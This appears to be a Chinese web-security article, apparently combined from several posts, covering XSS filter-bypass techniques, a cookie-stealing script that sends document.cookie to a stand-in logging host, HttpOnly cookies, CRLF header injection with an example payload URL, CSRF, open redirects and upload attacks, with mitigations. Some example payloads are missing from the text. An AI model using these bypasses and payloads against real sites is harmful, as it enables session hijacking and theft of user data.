最简单的就是改变大小写
在测试过程中,我们可以改变测试语句的大小写来绕过XSS规则
比如: 可以转换为:
其次关闭标签也可以
有时我们需要关闭标签来使我们的XSS生效,如:
“>
使用HEX编码来绕过
我们可以对我们的语句进行hex编码来绕过XSS规则。
比如: 可以转换为:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e
0×004
绕过 magic_quotes_gpc
magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如’(单引号)转换为\’,”(双引号)转换为\” ,\转换为\\
比如:会转换为,这样我们的xss就不生效了。
针对开启了magic_quotes_gpc的网站,我们可以通过javascript中的String.fromCharCode方法来绕过,我们可以把alert(“XSS”);转换为
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)那么我们的XSS语句就变成了
String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。
最后使用包含即可。
HEX编码在线工具:
http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html
http://www.asciitohex.com/
www服务依赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地用到Cookie来标记访问者的状态。只要获得这个Cookie,就可以取得别人的身份,入侵个人账户或者网站。
对于网站来说,一旦存在了xss漏洞就意味着入侵者可以在浏览器中执行任意的JS脚本,这时候获得Cookie就变得非常的简单。Cookie保存在浏览器的document对象中,只要使用JS读取Cookie就能拥有其他人的身份。一个很简单的xss攻击语句如下:
url=document.top.location.href;
cookie=document.cookie;
c=newImage();
c.src="http://www.xss-log-server.com/c.php?c="+cookie+"&u="+url;
有些网站考虑到这个问题,所以采取浏览器绑定技术,譬如将Cookie和浏览器的User-agent绑定,一旦发现修改就认为Cookie失效。但是这种方法存在很大的弊端,因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定),但是这样有可能带来比较差的用户体验,比如家里的ADSL就是每次连接换一个IP地址。
那如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookie在浏览器document中不可见就行了。Microsoft Internet Explorer 版本 6 Service Pack 1 和更高版本支持 Cookie 属性 Http-Only,该属性有助于缓解跨站点脚本威胁, 如果兼容浏览器接收到 Http-Only Cookie,则客户端脚本不能对它进行访问。Http-Only的参数跟domain等其他参数一样,一旦Http-Only被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我可以采用Http-Only,对于一些需要在网站中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了网站的基本功能。
下面的例子就是Http-Only的设置方法(注意,HttpOnly属性对大小写不敏感):
Set-Cookie: =[; =] [; expires=][; domain=][; path=][; secure][; HttpOnly]
Asp.Net设置HttpCookie.HttpOnly 属性的方法:http://msdn.microsoft.com/zh-cn/library/system.web.httpcookie.httponly.aspx
目前主流的浏览器基本上已经都支持了Http-Only属性,具体支持的浏览器请查看:https://www.owasp.org/index.php/HttpOnly
另外,HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交。为了降低跨站点脚本攻击带来的损害,通常需要将HTTP-only Cookie和其他技术组合使用。如果单独使用的话,它无法全面抵御跨站点脚本攻击。比如如果你的站点是使用Asp.Net开发的话,建议使用Microsoft Web Protection Library
一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法.
一.跨站脚本攻击(XSS)
跨站脚本攻击(XSS,Cross-site scripting)是最常见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时,特定的脚本就会以浏览者用户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息,以及造成其它类型的攻击,例如CSRF攻击
常见解决办法:确保输出到HTML页面的数据以HTML的方式被转义
出错的页面的漏洞也可能造成XSS攻击.比如页面/gift/giftList.htm?page=2找不到,出错页面直接把该url原样输出,如果攻击者在url后面加上攻击代码发给受害者,就有可能出现XSS攻击
二. 跨站请求伪造攻击(CSRF)
跨站请求伪造(CSRF,Cross-site request forgery)是另一种常见的攻击。攻击者通过各种方法伪造一个请求,模仿用户提交表单的行为,从而达到修改用户的数据,或者执行特定任务的目的。为了假冒用户的身份,CSRF攻击常常和XSS攻击配合起来做,但也可以通过其它手段,例如诱使用户点击一个包含攻击的链接
解决的思路有:
1.采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难,攻击者往往需要借助javascript才能实现
2.对请求进行认证,确保该请求确实是用户本人填写表单并提交的,而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人
三.Http Heads攻击
凡是用浏览器查看任何WEB网站,无论你的WEB网站采用何种技术和框架,都用到了HTTP协议.HTTP协议在Response header和content之间,有一个空行,即两组CRLF(0x0D 0A)字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到headers中,这种攻击就可以发生
以登陆为例:有这样一个url:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex
当登录成功以后,需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/index
假如把URL修改一下,变成这个样子:
http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E
那么重定向发生时的reponse会变成下面的样子:
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/checkout
这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向(Location header)上,也有可能发生在其它headers中,如Set-Cookie header。这种攻击如果成功的话,可以做很多事,例如:执行脚本、设置额外的cookie(
避免这种攻击的方法,就是过滤所有的response headers,除去header中出现的非法字符,尤其是CRLF。
服务器一般会限制request headers的大小。例如Apache server默认限制request header为8K。如果超过8K,Aapche Server将会返回400 Bad Request响应:
对于大多数情况,8K是足够大的。假设应用程序把用户输入的某内容保存在cookie中,就有可能超过8K.攻击者把超过8k的header链接发给受害者,就会被服务器拒绝访问.解决办法就是检查cookie的大小,限制新cookie的总大写,减少因header过大而产生的拒绝访问攻击
四.Cookie攻击
通过Java Script非常容易访问到当前网站的cookie。你可以打开任何网站,然后在浏览器地址栏中输入:javascript:alert(doucment.cookie),立刻就可以看到当前站点的cookie(如果有的话)。攻击者可以利用这个特性来取得你的关键信息。例如,和XSS攻击相配合,攻击者在你的浏览器上执行特定的Java Script脚本,取得你的cookie。假设这个网站仅依赖cookie来验证用户身份,那么攻击者就可以假冒你的身份来做一些事情。
现在多数浏览器都支持在cookie上打上HttpOnly的标记,凡有这个标志的cookie就无法通过Java Script来取得,如果能在关键cookie上打上这个标记,就会大大增强cookie的安全性
五.重定向攻击
一种常用的攻击手段是“钓鱼”。钓鱼攻击者,通常会发送给受害者一个合法链接,当链接被点击时,用户被导向一个似是而非的非法网站,从而达到骗取用户信任、窃取用户资料的目的。为防止这种行为,我们必须对所有的重定向操作进行审核,以避免重定向到一个危险的地方.常见解决方案是白名单,将合法的要重定向的url加到白名单中,非白名单上的域名重定向时拒之,第二种解决方案是重定向token,在合法的url上加上token,重定向时进行验证.
六.上传文件攻击
1.文件名攻击,上传的文件采用上传之前的文件名,可能造成:客户端和服务端字符码不兼容,导致文件名乱码问题;文件名包含脚本,从而造成攻击.
2.文件后缀攻击.上传的文件的后缀可能是exe可执行程序,js脚本等文件,这些程序可能被执行于受害者的客户端,甚至可能执行于服务器上.因此我们必须过滤文件名后缀,排除那些不被许可的文件名后缀.
3.文件内容攻击.IE6有一个很严重的问题 , 它不信任服务器所发送的content type,而是自动根据文件内容来识别文件的类型,并根据所识别的类型来显示或执行文件.如果上传一个gif文件,在文件末尾放一段js攻击脚本,就有可能被执行.这种攻击,它的文件名和content type看起来都是合法的gif图片,然而其内容却包含脚本,这样的攻击无法用文件名过滤来排除,而是必须扫描其文件内容,才能识别。